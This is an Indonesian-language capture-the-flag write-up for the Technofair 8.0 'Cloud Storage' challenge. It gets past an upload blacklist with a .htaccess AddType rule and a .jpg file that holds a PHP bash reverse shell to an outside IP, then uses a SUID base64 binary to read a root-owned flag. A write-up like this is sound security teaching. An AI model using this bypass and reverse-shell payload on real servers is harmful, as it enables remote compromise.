[Technofair 8.0] Cloud Storage
Diberikan soal dan sebuah website dengan deskripsi seperti berikut
Cloud Storage
Description
Sambil menunggu developer front end kami menyelesaikan tugasnya, kami ingin meminta anda untuk menguji sistem cloud storage yang baru saja kami buat dan masih dalam tahap pengembangan, bisakah anda menemukan celah apa aja yang ada dalam sistem kamihttp://103.152.242.172:20052
Author: brokenheart
Setelah website dibuka, website terdapat form Upload File yang berjalan pada Apache Web Server
Form Upload File ini hanya menerima extensi file zip yang nantinya akan di extract pada sebuah folder di server sehingga kita dapat mengakses file-file yang sudah kita Upload.
Tetapi ada blacklist extension pada file yang ada di dalam zip, seperti .php, .php4, .php5, .shtml, .phtml. Syedich 🥲
Tenang… masih ada satu cara untuk kita mengupload backdoor / shell untuk mendapatkan Remote Command Execution (RCE).
Kita dapat menggunakan file .htaccess agar dapat menjalankan PHP tanpa file extensionnya PHP.
.htaccess
adalah file konfigurasi pada level direktori yang dapat menambahkan atau memodifikasi pengaturan tambahan pada website kita\Sumber: Wikipedia & https://www.goldenfast.net/blog/pengertian-htaccess/
Pada Stackoverflow kita dapat melakukan seperti ini. Sehingga isi dari file zip berisi dua file:
a.jpg adalah file PHP dengan extension jpg yang berguna sebagai Reverse Shell
<?php system("bash -c 'bash -i >& /dev/tcp/3.128.107.74/15019 0>&1'"); ?>
.htaccess
AddType application/x-httpd-php .jpg
File .htaccess disini berguna untuk memerintahkan Apache, disaat user membuka suatu file dengan extension .jpg, file .jpg tersebut akan dibuka dan dijalankan layaknya file PHP.
Set Up listener menggunakan Netcat lalu upload file zip tersebut dan buka a.jpg pada browser, maka kita akan mendapatkan shell
Kita mendapatkan hint bahwa flagnya terdapat pada /root/flag.txt yang dimana direktori /root tidak dapat diakses dari low privilege user, yang berarti kita harus melakukan Privilege Escalation.
Setelah mencari, kita mendapatkan SUID binary yaitu base64 yang dapat kita manfaatkan untuk membaca flag pada direktori /root
*flag yang sangat membagongkan